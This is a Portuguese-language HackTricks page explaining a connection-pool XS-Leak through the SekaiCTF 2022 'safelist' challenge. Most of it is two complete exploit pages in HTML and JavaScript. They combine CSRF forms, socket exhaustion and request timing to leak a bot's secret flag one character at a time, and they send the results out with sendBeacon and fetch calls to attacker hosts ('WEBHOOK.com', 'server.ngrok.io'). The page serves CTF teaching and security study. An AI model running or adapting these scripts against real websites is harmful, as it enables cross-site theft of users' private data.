hacktricks/pentesting-web/xs-search/connection-pool-example.md
2023-06-06 18:56:34 +00:00

14 KiB

Exemplo de Pool de Conexão

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

No desafio Sekaictf2022 - safelist, @Strellic_ dá um exemplo de como usar uma variação da técnica de Pool de Conexão para realizar um XS-Leak.

Neste desafio, o objetivo é exfiltrar uma bandeira que aparecerá na sessão web dos bots dentro de um post. Estes são os ativos que o atacante possui:

  • O bot irá visitar uma URL fornecida pelo atacante
  • O atacante pode injetar HTML na página (mas sem JS, o dompurify é usado) abusando de um CSRF fazendo com que o bot crie um post com esse HTML.
  • O atacante pode abusar de um CSRF para fazer com que o bot delete o primeiro post dentro da web.
  • Como os posts são ordenados alfabeticamente, quando o primeiro post é deletado, se o conteúdo HTML do atacante for carregado significa que ele estava alfabeticamente antes da bandeira.

Portanto, para roubar a bandeira, a solução proposta por @Strellyc_ é, para cada caractere a testar, fazer com que o bot:

  • Crie um novo post que começa com a parte conhecida da bandeira e vários carregamentos de img.
  • Delete o post na posição 0.
  • Bloqueie 255 sockets.
  • Carregue a página com os posts.
  • Realize 5 solicitações aleatórias para um site (example.com neste caso) e meça o tempo que isso leva.

{% hint style="warning" %} Se o post deletado foi a bandeira, isso significa que todas as imagens injetadas no HTML vão competir com as 5 solicitações aleatórias por aquele socket desbloqueado. O que significa que o tempo medido será maior do que o outro cenário.

Se o post deletado foi o HTML, as 5 solicitações aleatórias serão mais rápidas porque não precisam competir por aquele socket com o HTML injetado. {% endhint %}

Exploração 1

Este é o código de exploração, retirado de https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html:

<!-- Form to inject HTML code in the bots page -->
<form method="POST" action="https://safelist.ctf.sekai.team/create" id="create" target="_blank">
    <input type="text" name="text" />
    <input type="submit" />
</form>

<!-- Form to delete the first entry -->
<form method="POST" action="https://safelist.ctf.sekai.team/remove" id="remove" target="_blank">
    <input type="text" name="index" value="0" />
    <input type="submit" />
</form>

<script>
    // Attacker listening
    const WEBHOOK = "https://WEBHOOK.com/";
    // Send data to attacker
    const log = (id, data) => {
        let payload = JSON.stringify({ known, alphabet, data });
        console.log(id, payload);
        navigator.sendBeacon(WEBHOOK + "?" + id, payload); 
    }
    
    // Similar to JQuery
    const $ = document.querySelector.bind(document);
    
    // Known part of the flag
    const known = "SEKAI{";
    let alphabet = "_abcdefghijklmnopqrstuvwxyz}";
    
    // Reduce the alphabet using a hash (#) in the URL
    if (location.hash) {
        alphabet = alphabet.slice(alphabet.indexOf(location.hash.slice(1)));
    }
    
    // Funtion to leak chars
    const leak = async (c) => {
        // Prepare post with known flag and the new char
        let payload = `${known + c}`;
        // Inject as many <img as possible
        // you need to respect the CSP and create URLs that are different
        for(let i = 0; payload.length < 2048; i++) {
            payload += `<img src=js/purify.js?${i.toString(36)}>`;
        }
        
        // Inject HTML
        $("#create input[type=text]").value = payload;
        $("#create").submit();
        await new Promise(r => setTimeout(r, 1000));
        
        // Remove post with index 0
        $("#remove").submit();
        await new Promise(r => setTimeout(r, 500));
        
        let deltas = [];
        
        // Try each char 3 times
        for (let i = 0; i < 3; i++) {
            const SOCKET_LIMIT = 255;
            // you will need a custom server that works like num.sleepserver.com/sleep/delay
            // needed to freeze the blocked sockets, and they have to all be on different origins
            // Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcard
            const SLEEP_SERVER = i => `http://${i}.sleepserver.com/sleep/60`; 

            const block = async (i, controller) => {
                try {
                    return fetch(SLEEP_SERVER(i), { mode: "no-cors", signal: controller.signal });
                }
                catch(err) {}
            };

            // block SOCKET_LIMIT sockets
            const controller = new AbortController();
            for (let i = 0; i < SOCKET_LIMIT; i++) {
                block(i, controller);
            }
            
            // Make the bot access the page with the posts
            window.open("https://safelist.ctf.sekai.team/?" + Math.random().toString(36).slice(2), "pwn");
            await new Promise(r => setTimeout(r, 500));
            
            // start meassuring time to perform 5 requests
            let start = performance.now();
            await Promise.all([
                fetch("https://example.com", { mode: "no-cors" }),
                fetch("https://example.com", { mode: "no-cors" }),
                fetch("https://example.com", { mode: "no-cors" }),
                fetch("https://example.com", { mode: "no-cors" }),
                fetch("https://example.com", { mode: "no-cors" })
            ]);
            let delta = performance.now() - start;
            document.title = delta;
            controller.abort();

            log("test_" + c + "_" + i, delta);
            
            // Save time needed
            deltas.push(delta);
        }
        return deltas;
    };
    
    // Check each char
    const pwn = async () => {
        // Try to leak each character
        for(let i = 0; i < alphabet.length; i++) {
            //Check the indicated char
            let deltas = await leak(alphabet[i]);
            
            // Calculate mean time from requests to example.com
            let avg = deltas.reduce((a,v) => a+v, 0) / deltas.length;
            
            // If greater than 250, the HTML code was injected (flag in index 0)
            if (avg > 250) {
                log("tests_pos_" + alphabet[i], deltas)
            }
            // Flag in the page
            else {
                log("tests_neg_" + alphabet[i], deltas)
            }
        }
    };

    window.onload = async () => {
        pwn();
    };
</script>

Exploração 2

Mesma tática, mas código diferente de https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/

<!DOCTYPE html>
<html>
<!--
  The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
  If images are loading, the request to "/" is slower, otherwise faster.
  By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
  We can use fetch to measure the request time.
-->
<body>
  <button onclick="run()">start</button>
  <form id=f action="http://localhost:1234/create" method="POST" target="_blank">
    <input id=inp name="text" value="">
  </form>

  <form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
    <input id=inp2 name="index" value="">
  </form>
  <script>
    let flag = 'SEKAI{'
    const TARGET = 'https://safelist.ctf.sekai.team'
    f.action = TARGET + '/create'
    f2.action = TARGET + '/remove'

    const sleep = ms => new Promise(r => setTimeout(r, ms))
    const send = data => fetch('http://server.ngrok.io?d='+data)
    const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')

    // start exploit
    let count = 0
    setTimeout(async () => {
      let L = 0
      let R = charset.length - 1
      while( (R-L)>3 ) {
        let M = Math.floor((L + R) / 2)
        let c = charset[M]
        send('try_' + flag + c)
        const found = await testChar(flag + c)
        if (found) {
          L = M
        } else {
          R = M - 1
        }
      }

      // fallback to linear since I am not familiar with binary search lol
      for(let i=R; i>=L; i--) {
        let c = charset[i]
        send('try_' + flag + c)
        const found = await testChar(flag + c)
        if (found) {
          send('found: '+ flag+c)
          flag += c
          break
        }
      }
      
    }, 0)

    async function testChar(str) {
      return new Promise(resolve => {
          /*
            For 3350, you need to test it on your local to get this number.
            The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
            If starts with "A", the image should be loaded because it's in the threshold.
          */
          inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
          f.submit()

          setTimeout(() => {
            run(str, resolve)
          }, 500)
      })
    }

    async function run(str, resolve) {
    // if the request is not enough, we can send more by opening more window
      for(let i=1; i<=5;i++) {
        window.open(TARGET)
      }
      
      let t = 0
      const round = 30
      setTimeout(async () => {
        for(let i=0; i<round; i++) {
          let s = performance.now()
          await fetch(TARGET + '/?test', {
            mode: 'no-cors'
          }).catch(err=>1)
          let end = performance.now()
          t += end - s
          console.log(end - s)
        }
        const avg = t/round
        send(str + "," + t + "," + "avg:" + avg)

        /*
          I get this threshold(1000ms) by trying multiple times on remote admin bot
          for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
        */
        const isFound = (t >= 1000)
        if (isFound) {
          inp2.value = "0"
        } else {
          inp2.value = "1"
        }

        // remember to delete the post to not break our leak oracle
        f2.submit()
        setTimeout(() => {
          resolve(isFound)
        }, 200)
      }, 200)
    }
    
  </script>

</body>

</html>
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥